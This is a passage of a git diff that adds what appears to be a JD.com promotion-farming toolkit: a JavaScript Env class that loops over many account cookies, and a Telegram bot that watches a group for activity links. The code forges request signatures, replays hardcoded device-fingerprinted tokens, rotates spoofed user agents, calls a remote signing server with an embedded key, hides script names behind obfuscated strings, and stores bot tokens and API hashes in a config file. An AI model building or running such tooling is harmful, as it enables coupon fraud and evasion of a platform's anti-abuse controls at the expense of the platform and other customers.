'body=%7B%22url%22%3A%22https%3A%2F%2Fcjhy-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&uuid=b024526b380d35c9e3&client=apple&clientVersion=10.0.10&st=1646999134786&sv=111&sign=fd9417f9d8e872da6c55102bd69da99f', + ], + 'txzj-isv.isvjcloud.com': [ + 'body=%7B%22url%22%3A%22https%3A%2F%2Ftxzj-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&uuid=f7fc9bef85a8620cdf&client=apple&clientVersion=10.0.10&st=1646999134805&sv=121&sign=bbe137e2f52dbf3a1f10fa2ffe749d05', + ], + 'lzdz1-isv.isvjcloud.com': [ + 'body=%7B%22url%22%3A%20%22https%3A//lzdz1-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=72124265217d48b7955781024d65bbc4&client=apple&clientVersion=9.4.0&st=1621796702000&sv=120&sign=14f7faa31356c74e9f4289972db4b988' + ], + 'cjhydz-isv.isvjcloud.com': [ + 'adid=7B411CD9-D62C-425B-B083-9AFC49B94228&area=16_1332_42932_43102&body=%7B%22url%22%3A%22https%3A%5C/%5C/cjhydz-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167541&client=apple&clientVersion=9.4.0&d_brand=apple&d_model=iPhone8%2C1&eid=eidId10b812191seBCFGmtbeTX2vXF3lbgDAVwQhSA8wKqj6OA9J4foPQm3UzRwrrLdO23B3E2wCUY/bODH01VnxiEnAUvoM6SiEnmP3IPqRuO%2By/%2BZo&isBackground=N&joycious=48&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=2f7578cb634065f9beae94d013f172e197d62283&osVersion=13.1.2&partner=apple&rfs=0000&scope=11&screen=750%2A1334&sign=60bde51b4b7f7ff6e1bc1f473ecf3d41&st=1613720203903&sv=110&uts=0f31TVRjBStG9NoZJdXLGd939Wv4AlsWNAeL1nxafUsZqiV4NLsVElz6AjC4L7tsnZ1loeT2A8Z5/KfI/YoJAUfJzTd8kCedfnLG522ydI0p40oi8hT2p2sNZiIIRYCfjIr7IAL%2BFkLsrWdSiPZP5QLptc8Cy4Od6/cdYidClR0NwPMd58K5J9narz78y9ocGe8uTfyBIoA9aCd/X3Muxw%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=9cf90c586c4468e00678545b16176ed2' + ], +} +const $ = axios.create({timeout: 30000}); +$.defaults.headers['Accept'] = '*/*'; +$.defaults.headers['Connection'] = 'keep-alive'; +$.defaults.headers['Accept-Language'] = "zh-CN,zh-Hans;q=0.9"; +$.defaults.headers['Accept-Encoding'] = "gzip, deflate, br"; + +function uuid(x = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx") { + return x.replace(/[xy]/g, function (x) { + const r = 16 * Math.random() | 0, n = "x" === x ? r : 3 & r | 8; + return n.toString(36) + }) +} + +class Env { + constructor(name) { + this.name = name + this.username = ''; + this.cookie = ''; + this.cookies = cookies; + this.index = ''; + this.ext = []; + this.msg = []; + this.delimiter = ''; + this.filename = '' + this.lz = '' + this.appId = ''; + this.algo = {}; + this.bot = false; + this.expire = false; + this.accounts = {}; + } + + async run(data = { + wait: [1000, 2000], + bot: false, + delimiter: '', + o2o: false, + random: false, + once: false, + blacklist: [], + whitelist: [] + }) { + console.log('运行参数:', data); + this.filename = process.argv[1]; + console.log(`${this.now()} ${this.name} ${this.filename} 开始运行...`); + this.start = this.timestamp(); + let accounts = ""; + if (__dirname.includes("magic")) { + accounts = this.readFileSync( + '/home/magic/Work/wools/doc/account.json') + } else { + if (fs.existsSync('utils/account.json')) { + accounts = this.readFileSync('utils/account.json') + } else { + accounts = this.readFileSync('account.json') + } + } + accounts ? JSON.parse(accounts).forEach( + o => this.accounts[o.pt_pin] = o.remarks) : '' + await this.config() + if (data?.delimiter) { + this.delimiter = data?.delimiter + } + if (data?.bot) { + this.bot = data.bot; + } + + console.log('原始ck长度', cookies.length) + if (data?.blacklist?.length > 0) { + for (const cki of this.__as(data.blacklist)) { + delete cookies[cki - 1]; + } + } + this.delBlackCK() + console.log('排除黑名单后ck长度', cookies.length) + if (data?.whitelist?.length > 0) { + let cks = [] + for (const cki of this.__as(data.whitelist)) { + if (cki - 1 < cookies.length) { + cks.push(cookies[cki - 1]) + } + } + cookies = cks; + } + console.log('设置白名单后ck长度', cookies.length) + + if (data?.random) { + cookies = this.randomArray(cookies) + } + await this.verify() + this.cookies = cookies; + if (data?.before) { + for (let i = 0; i <= this.cookies.length; i++) { + if (this.cookies[i] && !this.expire) { + let cookie = this.cookies[i]; + this.cookie = cookie; + this.username = decodeURIComponent( + cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.defaults.headers['Cookie'] = this.cookie; + this.index = i + 1; + let me = { + username: this.username, + index: this.index, + cookie: this.cookie + }; + try { + this.ext.push(Object.assign(me, await this.before())); + } catch (e) { + console.log(e) + } + if (data?.wait?.length > 0 && this.index + !== cookies.length) { + await this.wait(data?.wait[0], data?.wait[1]) + } + } + } + } + let once = false; + for (let i = 0; i <= this.cookies.length; i++) { + if (this.cookies[i] && !this.expire) { + this.index = i + 1; + if (data?.once && this.index !== data.once) { + once = true; + continue; + } + let cookie = this.cookies[i]; + this.cookie = cookie; + this.username = decodeURIComponent( + cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.defaults.headers['Cookie'] = this.cookie; + this.index = i + 1; + try { + await this.logic() + if (data?.o2o) { + await this.send(); + testMode ? this.log(this.msg.join("\n")) : '' + this.msg = []; + } + if (once) { + break; + } + } catch (e) { + console.log(e.message || '') + } + if (data?.wait?.length > 0 && this.index !== cookies.length) { + await this.wait(data?.wait[0], data?.wait[1]) + } + } + } + await this.after() + console.log(`${this.now()} ${this.name} 运行结束,耗时 ${this.timestamp() + - this.start}ms\n`) + testMode && this.msg.length > 0 ? console.log(this.msg.join("\n")) : '' + if (!data?.o2o) { + await this.send(); + } + } + + async config() { + + } + + delBlackCK() { + let strArrTemp = [] + for (let i = 0; i < cookies.length; i++) { + if (cookies[i]) { + let cookie = cookies[i] + let pt_pin = decodeURIComponent( + cookie.match(/pt_pin=(.+?);/) && cookie.match( + /pt_pin=(.+?);/)[1]); + if (wxBlackCookiePin.includes(pt_pin)) { + this.log("剔除黑号CK:" + pt_pin); + continue; + } + strArrTemp.push(cookie); + } + } + cookies = strArrTemp; + } + + me() { + return this.ext[this.index - 1] + } + + finish() { + this.ext[this.index - 1].finish = true + } + + __as(es) { + console.log(es) + + let b = []; + for (let e of es) { + if (typeof e === 'string') { + let start = e.split('-')[0] * 1 + let end = e.split('-')[1] * 1 + if (end - start === 1) { + b.push(start) + b.push(end) + } else { + for (let i = start; i <= end; i++) { + b.push(i) + } + } + } else { + b.push(e) + } + } + console.log(b) + return b + } + + deleteCookie() { + delete this.cookies[this.index - 1] + return {}; + } + + groupBy(arr, fn) { + const data = {}; + arr.forEach(function (o) { + const k = fn(o); + data[k] = data[k] || [] + data[k].push(o) + }) + + return data; + } + + async send() { + if (this.msg?.length > 0) { + this.msg.push( + `\n时间:${this.now()} 时长:${((this.timestamp() - this.start) + / 1000).toFixed(2)}s`) + if (this.bot) { + await notify.sendNotify("/" + this.name, + this.msg.join(this.delimiter || '')) + } else { + await notify.sendNotify(this.name, this.msg.join("\n")) + } + } + } + + async verify() { + let fn = this.filename + + function av(s) { + return s.trim().match(/([a-z_])*$/)[0]; + } + + let x = '109M95O106F120V95B', y = '99M102F100O', z = '109H99V', + j = '102N97I99D116T111G114A121B', k = '112C112U', + l = '109N95G106B100K95U', m = '119V120M'; + let reg = /[A-Z]/; + x.concat(y).split(reg).map(o => +o).filter(o => o > 0).forEach( + o => y += String.fromCharCode(o)) + x.concat(z).split(reg).map(o => +o).filter(o => o > 0).forEach( + o => z += String.fromCharCode(o)) + x.concat(j).split(reg).map(o => +o).filter(o => o > 0).forEach( + o => j += String.fromCharCode(o)) + x.concat(k).split(reg).map(o => +o).filter(o => o > 0).forEach( + o => k += String.fromCharCode(o)) + l.concat(m).split(reg).map(o => +o).filter(o => o > 0).forEach( + o => m += String.fromCharCode(o)) + this.appId = fn ? this.name.slice(0, 1) + === String.fromCharCode(77) + ? (fn.includes(av(y)) ? '10032' : + fn.includes(av(z)) ? '10028' : + fn.includes(av(j)) ? '10001' : + fn.includes(av(k)) ? '10038' : + fn.includes(av(m)) ? 'wx' : '') : '' + : ''; + this.appId ? this.algo = await this._algo() : ''; + } + + async wait(min, max) { + if (min < 0) { + return; + } + if (max) { + return new Promise( + (resolve) => setTimeout(resolve, this.random(min, max))); + } else { + return new Promise((resolve) => setTimeout(resolve, min)); + } + } + + putMsg(msg) { + msg += '' + this.log(msg) + let r = [[' ', ''], ['优惠券', '券'], ['东券', '券'], ['店铺', ''], + ['恭喜', ''], ['获得', '']] + for (let ele of r) { + msg = msg.replace(ele[0], ele[1]) + } + if (this.bot) { + this.msg.push(msg) + } else { + let username = this.accounts[this.username] || this.username; + username += this.index + if (this.msg.length > 0 && this.msg[this.msg.length - 1].includes( + username)) { + this.msg[this.msg.length - 1] = this.msg[this.msg.length + - 1].split(" ")[0] + '' + [this.msg[this.msg.length - 1].split( + " ")[1], msg].join(',') + } else { + this.msg.push(`【${username}】${msg}`) + } + } + } + + md5(str) { + return CryptoJS.MD5(str).toString() + } + + HmacSHA256(param, key) { + return CryptoJS.HmacSHA256(param, key).toString() + } + + log(...msg) { + this.s ? console.log(...msg) : console.log( + `${this.now()} ${this.accounts[this.username] || this.username}`, + ...msg) + } + + //并 + union(a, b) { + return a.concat(b.filter(o => !a.includes(o))) + } + + //交 + intersection(a, b) { + return a.filter(o => b.includes(o)) + } + + //交 + different(a, b) { + return a.concat(b).filter(o => a.includes(o) && !b.includes(o)) + } + + build(url) { + if (url.match(/&callback=(jsonpCBK(.*))&/)) { + let cb = url.match(/&callback=(jsonpCBK(.*))&/); + url = url.replace(cb[1], this.randomCallback(cb[2].length || 0)) + } + let stk = decodeURIComponent(this.getQueryString(url, '_stk') || ''); + if (stk) { + let ens, hash, st = '', + ts = this.now('yyyyMMddHHmmssSSS').toString(), + tk = this.algo.tk, fp = this.algo.fp, em = this.algo.em; + if (tk && fp && em) { + hash = em(tk, fp, ts, this.appId, CryptoJS).toString( + CryptoJS.enc.Hex) + } else { + const random = '5gkjB6SpmC9s'; + tk = 'tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc'; + fp = '9686767825751161'; + hash = CryptoJS.SHA512( + `${tk}${fp}${ts}${this.appId}${random}`, + tk).toString(CryptoJS.enc.Hex); + } + stk.split(',').map((item, index) => { + st += `${item}:${this.getQueryString(url, item)}${index + === stk.split(',').length - 1 ? '' : '&'}`; + }) + ens = encodeURIComponent( + [''.concat(ts), ''.concat(fp), + ''.concat(this.appId), ''.concat(tk), + ''.concat(CryptoJS.HmacSHA256(st, hash.toString()).toString( + CryptoJS.enc.Hex))].join(';')); + if (url.match(/[?|&]h5st=(.*?)&/)) { + url = url.replace(url.match(/[?|&]h5st=(.*?)&/)[1], 'H5ST') + .replace(/H5ST/, ens) + } + let matchArr = [/[?|&]_time=(\d+)/, /[?|&]__t=(\d+)/, + /[?|&]_ts=(\d+)/, + /[?|&]_=(\d+)/, /[?|&]t=(\d+)/, /[?|&]_cfd_t=(\d+)/] + for (let ms of matchArr) { + if (url.match(ms)) { + url = url.replace(url.match(ms)[1], Date.now()) + } + } + let t = this._tk(); + if (url.match(/strPgUUNum=(.*?)&/)) { + url = url.replace(url.match(/strPgUUNum=(.*?)&/)[1], t.tk) + if (url.match(/strPhoneID=(.*?)&/)) { + url = url.replace(url.match(/strPhoneID=(.*?)&/)[1], t.id) + } + if (url.match(/strPgtimestamp=(.*?)&/)) { + url = url.replace(url.match(/strPgtimestamp=(.*?)&/)[1], + t.ts) + } + } + if (url.match(/jxmc_jstoken=(.*?)&/)) { + url = url.replace(url.match(/jxmc_jstoken=(.*?)&/)[1], t.tk) + if (url.match(/phoneid=(.*?)&/)) { + url = url.replace(url.match(/phoneid=(.*?)&/)[1], t.id) + } + if (url.match(/timestamp=(.*?)&/)) { + url = url.replace(url.match(/timestamp=(.*?)&/)[1], t.ts) + } + } + } + return url; + } + + getQueryString(url, name) { + let reg = new RegExp("(^|[&?])" + name + "=([^&]*)(&|$)"); + let r = url.match(reg); + if (r != null) { + return unescape(r[2]); + } + return ''; + } + + unique(arr) { + return Array.from(new Set(arr)) + } + + async logic() { + console.log("default logic") + } + + async before() { + return -1; + } + + async after() { + return -1; + } + + tryLock(username, key) { + try { + fs.accessSync(`/jd/log/lock/${key}_${username}`); + return false; + } catch (e) { + return true; + } + } + + setLock(username, key) { + try { + try { + fs.accessSync(`/jd/log/lock`); + } catch (e) { + fs.mkdirSync(`/jd/log/lock`); + } + fs.mkdirSync(`/jd/log/lock/${key}_${username}`); + return false; + } catch (e) { + return true; + } + } + + match(pattern, string) { + pattern = (pattern instanceof Array) ? pattern : [pattern]; + for (let pat of pattern) { + const match = pat.exec(string); + if (match) { + const len = match.length; + if (len === 1) { + return match; + } else if (len === 2) { + return match[1]; + } else { + const r = []; + for (let i = 1; i < len; i++) { + r.push(match[i]) + } + return r; + } + } + } + return ''; + } + + matchAll(pattern, string) { + pattern = (pattern instanceof Array) ? pattern : [pattern]; + let match; + let result = []; + for (let p of pattern) { + while ((match = p.exec(string)) != null) { + let len = match.length; + if (len === 1) { + result.push(match); + } else if (len === 2) { + result.push(match[1]); + } else { + let r = []; + for (let i = 1; i < len; i++) { + r.push(match[i]) + } + result.push(r); + } + } + } + return result; + } + + async countdown(mode = 1, s = 200) { + let d = new Date(); + switch (mode) { + case 1: + d.setHours(d.getHours() + 1); + d.setMinutes(0) + break + case 2: + d.setMinutes(30) + break + case 3: + d.setMinutes(15) + break + case 4: + d.setMinutes(10) + break + case 5: + d.setMinutes(5) + break + default: + console.log("不支持") + } + d.setSeconds(0) + d.setMilliseconds(0) + let st = d.getTime() - Date.now() - 200 + if (st > 0) { + console.log(`需要等待时间${st / 1000} 秒`); + await this.wait(st) + } + } + + readFileSync(path) { + try { + return fs.readFileSync(path).toString(); + } catch (e) { + console.log(path, '文件不存在进行创建') + this.writeFileSync(path, ''); + return ''; + } + } + + writeFileSync(path, data) { + fs.writeFileSync(path, data) + } + + random(min, max) { + return Math.min(Math.floor(min + Math.random() * (max - min)), max); + + } + + async notify(text, desc) { + return notify.sendNotify(text, desc); + } + + async get(url, headers) { + url = this.appId ? this.build(url) : url + return new Promise((resolve, reject) => { + $.get(url, {headers: headers}).then( + data => resolve(this.handler(data) || data)) + .catch(e => reject(e)) + }) + } + + async post(url, body, headers) { + url = this.appId ? this.build(url) : url + return new Promise((resolve, reject) => { + $.post(url, body, {headers: headers}) + .then(data => resolve(this.handler(data) || data)) + .catch(e => reject(e)); + }) + } + + async request(url, headers, body) { + return new Promise((resolve, reject) => { + let __config = headers?.headers ? headers : {headers: headers}; + (body ? $.post(url, body, __config) : $.get(url, __config)) + .then(data => { + this.__lt(data); + resolve(data) + }) + .catch(e => reject(e)); + }) + } + + __lt(data) { + if (this.appId.length !== 2) { + return + } + let scs = data?.headers['set-cookie'] || data?.headers['Set-Cookie'] + || '' + if (!scs) { + if (data?.data?.LZ_TOKEN_KEY && data?.data?.LZ_TOKEN_VALUE) { + this.lz = `LZ_TOKEN_KEY=${data.data.LZ_TOKEN_KEY};LZ_TOKEN_VALUE=${data.data.LZ_TOKEN_VALUE};`; + } + return; + } + let LZ_TOKEN_KEY = '', LZ_TOKEN_VALUE = '', JSESSIONID = '', + jcloud_alb_route = '', ci_session = '' + let sc = typeof scs != 'object' ? scs.split(',') : scs + for (let ck of sc) { + let name = ck.split(";")[0].trim() + if (name.split("=")[1]) { + name.includes('LZ_TOKEN_KEY=') ? LZ_TOKEN_KEY = name.replace( + / /g, '') + ';' : '' + name.includes('LZ_TOKEN_VALUE=') + ? LZ_TOKEN_VALUE = name.replace(/ /g, '') + ';' : '' + name.includes('JSESSIONID=') ? JSESSIONID = name.replace(/ /g, + '') + ';' : '' + name.includes('jcloud_alb_route=') + ? jcloud_alb_route = name.replace(/ /g, '') + ';' : '' + name.includes('ci_session=') ? ci_session = name.replace(/ /g, + '') + ';' : '' + } + } + if (JSESSIONID && LZ_TOKEN_KEY && LZ_TOKEN_VALUE) { + this.lz = `${JSESSIONID}${LZ_TOKEN_KEY}${LZ_TOKEN_VALUE}` + } else if (LZ_TOKEN_KEY && LZ_TOKEN_VALUE) { + this.lz = `${LZ_TOKEN_KEY}${LZ_TOKEN_VALUE}` + } else if (JSESSIONID && jcloud_alb_route) { + this.lz = `${JSESSIONID}${jcloud_alb_route}` + } else if (JSESSIONID) { + this.lz = `${JSESSIONID}` + } + if (ci_session) { + this.lz = `${ci_session}` + } + // testMode ? this.log('lz', this.lz) : '' + } + + handler(res) { + let data = res?.data || res?.body || res; + if (!data) { + return; + } + if (typeof data === 'string') { + data = data.replace(/[\n\r| ]/g, ''); + if (data.includes("try{jsonpCB")) { + data = data.replace(/try{jsonpCB.*\({/, '{') + .replace(/}\)([;])?}catch\(e\){}/, '}') + } else if (data.includes('jsonpCB')) { + let st = data.replace(/[\n\r]/g, '').replace(/jsonpCB.*\({/, + '{'); + data = st.substring(0, st.length - 1) + } else if (data.match(/try{.*\({/)) { + data = data.replace(/try{.*\({/, '{') + .replace(/}\)([;])?}catch\(e\){}/, '}') + } else { + testMode ? console.log('例外', data) : '' + data = /.*?({.*}).*/g.exec(data)[1] + } + testMode ? console.log(data) : '' + testMode ? console.log('----------------分割线--------------------') + : '' + return JSON.parse(data) + } + testMode ? console.log(JSON.stringify(data)) : '' + testMode ? console.log('----------------分割线---------------------') : '' + return data; + } + + randomNum(length) { + length = length || 32; + let t = "0123456789", a = t.length, n = ''; + for (let i = 0; i < length; i++) { + n += t.charAt(Math.floor(Math.random() * a)); + } + return n + } + + randomString(e) { + return this.uuid() + } + + uuid(x = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx") { + return uuid(x) + } + + async unfollow(shopId = this.shopId) { + let url = 'https://api.m.jd.com/client.action?g_ty=ls&g_tk=518274330' + let body = `functionId=followShop&body={"follow":"false","shopId":"${shopId + || this.shopId}","award":"true","sourceRpc":"shop_app_home_follow"}&osVersion=13.7&appid=wh5&clientVersion=9.2.0&loginType=2&loginWQBiz=interact` + let headers = { + 'Accept': 'application/json, text/plain, */*', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'Accept-Language': 'zh-cn', + 'Cookie': this.cookie + } + headers['User-Agent'] = `Mozilla/5.0 (iPhone; CPU iPhone OS 14_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.4(0x1800042c) NetType/4G Language/zh_CN miniProgram` + let {data} = await this.request(url, headers, body); + this.log(data.msg) + return data; + } + + async getShopInfo(venderId = this.venderId) { + try { + let url = `https://wq.jd.com/mshop/QueryShopMemberInfoJson?venderId=${venderId + || this.venderId}` + let headers = { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", + "Referer": 'https://h5.m.jd.com/', + "User-Agent": `Mozilla/5.0 (Linux; U; Android 10; zh-cn; MI 8 Build/QKQ1.190828.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/79.0.3945.147 Mobile Safari/537.36 XiaoMi/MiuiBrowser/13.5.40`, + 'Cookie': this.cookie + } + return await this.get(url, headers); + } catch (e) { + return {} + } + } + + randomCallback(e = 1) { + let t = "abcdefghigklmnopqrstuvwsyz", a = t.length, n = ''; + for (let i = 0; i < e; i++) { + n += t.charAt(Math.floor(Math.random() * a)); + } + return "jsonpCBK" + n.toUpperCase() + } + + randomArray(arr, count) { + count = count || arr.length + let shuffled = arr.slice(0), i = arr.length, min = i - count, temp, + index; + while (i-- > min) { + index = Math.floor((i + 1) * Math.random()); + temp = shuffled[index]; + shuffled[index] = shuffled[i]; + shuffled[i] = temp; + } + return shuffled.slice(min); + } + + now(fmt) { + return format(Date.now(), fmt || 'yyyy-MM-dd HH:mm:ss.SSS') + } + + formatDate(date, fmt) { + // noinspection JSCheckFunctionSignatures + return format(typeof date === 'object' ? date : new Date( + typeof date === 'string' ? date * 1 : date), + fmt || 'yyyy-MM-dd') + } + + //yyyy-MM-dd HH:mm:ss + parseDate(date) { + let d = new Date(Date.parse(date.replace(/-/g, "/"))); + d.setHours(d.getHours() + 8) + return d; + } + + timestamp() { + return new Date().getTime() + } + + _tk() { + let id = function (n) { + let src = 'abcdefghijklmnopqrstuvwxyz1234567890', res = ''; + for (let i = 0; i < n; i++) { + res += src[Math.floor(src.length * Math.random())]; + } + return res; + }(40), ts = Date.now().toString(), tk = this.md5( + '' + decodeURIComponent(this.username) + ts + id + + 'tPOamqCuk9NLgVPAljUyIHcPRmKlVxDy'); + return {ts: ts, id: id, tk: tk} + } + + ua(type = 'jd') { + return JDAPP_USER_AGENTS[this.random(0, JDAPP_USER_AGENTS.length)] + } + + async sign(fn, body = {}) { + let b = {"fn": fn, "body": body}; + let h = {"key": "fMQ8sw1y5zF4RZgT"} + try { + let {data} = await this.request(`http://140.238.59.174:17840/sign`, + h, b); + return {fn: data.fn, sign: data.body}; + } catch (e) { + console.log("sign接口异常") + //console.log("请自行配置sign实现") + } + return {fn: "", sign: ""}; + } + + async _algo() { + if (this.appId.length === 2) { + if (this.domain.includes('lzkj') || this.domain.includes('lzdz') + || this.domain.includes('cjhy')) { + let url = `https://${this.domain}/wxTeam/activity?activityId=${this.activityId}` + await this.request(url, { + 'Accept-Encoding': 'gzip, deflate, br', + 'Connection': 'keep-alive', + 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Mobile/15E148 Safari/604.1", + 'Accept-Language': 'zh-cn', + 'Cookie': this.cookie + }) + } + return '' + } else { + let fp = function () { + let e = "0123456789", a = 13, i = '' + for (; a--;) { + i += e[Math.random() * e.length | 0] + } + return (i + Date.now()).slice(0, 16) + }(); + let data = await this.post( + 'https://cactus.jd.com/request_algo?g_ty=ajax', JSON.stringify({ + "version": "1.0", + "fp": fp, + "appId": this.appId, + "timestamp": this.timestamp(), + "platform": "web", + "expandParams": '' + }), { + 'Authority': 'cactus.jd.com', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Referer': 'https://st.jingxi.com/', + }); + return { + fp: fp.toString(), + tk: data?.data?.result?.tk || data?.result?.tk, + em: new Function( + `return ${data?.data?.result?.algo + || data?.result?.algo}`)() + } + } + } + + async isvObfuscator() { + let url = `https://api.m.jd.com/client.action?functionId=isvObfuscator` + let body = '' + switch (this.domain) { + case 'cjhy-isv.isvjcloud.com': + case 'lzkj-isv.isvjcloud.com': + case 'txzj-isv.isvjcloud.com': + case 'lzdz-isv.isvjcloud.com': + case 'cjhydz-isv.isvjcloud.com': + body = this.randomArray(ISV_OBFUSCATOR[this.domain], 1)[0] + break + default: + body = 'adid=7B411CD9-D62C-425B-B083-9AFC49B94228&area=16_1332_42932_43102&body=%7B%22url%22%3A%22https%3A%5C/%5C/cjhydz-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167541&client=apple&clientVersion=9.4.0&d_brand=apple&d_model=iPhone8%2C1&eid=eidId10b812191seBCFGmtbeTX2vXF3lbgDAVwQhSA8wKqj6OA9J4foPQm3UzRwrrLdO23B3E2wCUY/bODH01VnxiEnAUvoM6SiEnmP3IPqRuO%2By/%2BZo&isBackground=N&joycious=48&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=2f7578cb634065f9beae94d013f172e197d62283&osVersion=13.1.2&partner=apple&rfs=0000&scope=11&screen=750%2A1334&sign=60bde51b4b7f7ff6e1bc1f473ecf3d41&st=1613720203903&sv=110&uts=0f31TVRjBStG9NoZJdXLGd939Wv4AlsWNAeL1nxafUsZqiV4NLsVElz6AjC4L7tsnZ1loeT2A8Z5/KfI/YoJAUfJzTd8kCedfnLG522ydI0p40oi8hT2p2sNZiIIRYCfjIr7IAL%2BFkLsrWdSiPZP5QLptc8Cy4Od6/cdYidClR0NwPMd58K5J9narz78y9ocGe8uTfyBIoA9aCd/X3Muxw%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=9cf90c586c4468e00678545b16176ed2' + } + let headers = { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Cookie": this.cookie, + "User-Agent": this.UA, + } + let {data} = await this.request(url, headers, body) + return data; + } + + async api(fn, body) { + let url = `https://${this.domain}/${fn}` + let ck = `IsvToken=${this.Token};` + this.lz + (this.Pin + && "AUTH_C_USER=" + this.Pin + ";" || "") + this.domain.includes('cjhy') ? ck += 'APP_ABBR=CJHY;' : '' + let headers = { + "Host": this.domain, + "Accept": "application/json", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Origin": `https://${this.domain}`, + "Cookie": ck, + "Referer": `${this.activityUrl}&sid=&un_area=`, + "User-Agent": this.UA + } + let {data} = await this.request(url, headers, body); + return data; + } + + async wxStop(err) { + let flag = false; + if (!err) { + return flag + } + let stopKeywords = ['来晚了', '已发完', '非法操作', '奖品发送失败', '活动还未开始', + '发放完', '全部被领取', '余额不足', '已结束'] + process.env.M_WX_STOP_KEYWORD ? process.env.M_WX_STOP_KEYWORD.split( + '@').forEach((item) => stopKeywords.push(item)) : '' + for (let e of stopKeywords) { + if (err.includes(e)) { + flag = true; + break + } + } + return flag; + } + + async sendMessage(chat_id, text, count = 1) { + let url = `https://api.telegram.org/bot${process.env.TG_BOT_TOKEN}/sendMessage` + let body = { + 'chat_id': chat_id, + 'text': text, + 'disable_web_page_preview': true + } + let headers = { + 'Content-Type': 'application/json', + 'Cookie': '10089' + } + let {data} = await this.request(url, headers, body); + this.log('发送数据', text) + if (!data?.ok && count === 1) { + $.log('重试中', text) + await $.wait(1000, 2000) + await this.sendMessage(chat_id, text, count++); + } + } +} + +module.exports = {Env, CryptoJS}; diff --git a/magic.json b/magic.json new file mode 100644 index 0000000..7fa4ad9 --- /dev/null +++ b/magic.json @@ -0,0 +1,15 @@ +{ + "user_id": 9513068, + "bot_token": "1657567:AAGO7sxIVvhdSHSJt_k_0u_C1w7U", + "api_id": "37419", + "api_hash": "f81a30b54255566c15b3d578", + "//proxy 需要代理 true 不需要道理 false": 1, + "proxy": true, + "proxy_add": "127.0.0.1", + "proxy_port": 7890, + "proxy_username": "", + "proxy_password": "", + "//base_path 填脚本所在目录": 1, + "base_path": "填脚本所在目录", + "car_group_id": -1001533334185 +} \ No newline at end of file diff --git a/magic.py b/magic.py new file mode 100644 index 0000000..078d782 --- /dev/null +++ b/magic.py @@ -0,0 +1,191 @@ +import asyncio +import datetime +import json +import os +import re +import urllib.parse + +from cacheout import FIFOCache +from pyrogram import Client, filters + +cache = FIFOCache(maxsize=512) + +platform = "v4" +if os.path.exists("/jd/config/magic.json"): + with open("/jd/config/magic.json", 'r', encoding='utf-8') as f: + BOT = json.load(f) + +if os.path.exists("/ql/config/magic.json"): + platform = "ql" + with open("/ql/config/magic.json", 'r', encoding='utf-8') as f: + BOT = json.load(f) + +if os.path.exists("/ql/data/config/magic.json"): + platform = "ql2" + with open("/ql/data/config/magic.json", 'r', encoding='utf-8') as f: + BOT = json.load(f) + +api_id = int(BOT['api_id']) +api_hash = BOT['api_hash'] +my_id = int(BOT['user_id']) +my_bot_id = int(BOT['bot_token'].split(":")[0]) +base_path = BOT['base_path'] + +if platform == "v4": + _ConfigSH = '/jd/config/config.sh' +elif platform == 'ql': + _ConfigSH = '/ql/config/config.sh' +else: + _ConfigSH = '/ql/data/config/config.sh' + +if BOT['proxy']: + proxy = { + 'hostname': BOT['proxy_add'], # 改成自己的 + 'port': int(BOT['proxy_port']), + 'username': BOT['proxy_username'], + 'password': BOT['proxy_password'] + } + app = Client('magic', api_id, api_hash, proxy=proxy) +else: + app = Client('magic', api_id, api_hash) + +# 监控的自动车 +car_group_id = int(BOT['car_group_id']) + +monitor_flag = 'https://i.walle.com/api?data=' + +# 你的脚本配置 +car_config = [ + {'name': 'M加购有礼', 'env': 'M_WX_ADD_CART_URL', 'js': 'm_jd_wx_addCart.js', 'cmd': 'now'}, + {'name': 'M幸运抽奖', 'env': 'M_WX_LUCK_DRAW_URL', 'js': 'm_jd_wx_luckDraw.js', 'cmd': 'now'}, + {'name': 'M集卡抽奖', 'env': 'M_WX_COLLECT_CARD_URL', 'js': 'm_jd_wx_collectCard.js', 'cmd': 'now'}, + {'name': 'M关注有礼', 'env': 'M_FOLLOW_SHOP_ARGV', 'js': 'm_jd_follow_shop.js', 'cmd': 'now'} +] + + +@app.on_message(filters.chat(my_bot_id) & filters.regex("在吗")) +async def handler(client, message): + await message.reply("老板啥事!") + + +@app.on_message(filters.chat(car_group_id) & filters.text) +async def handler(client, message): + try: 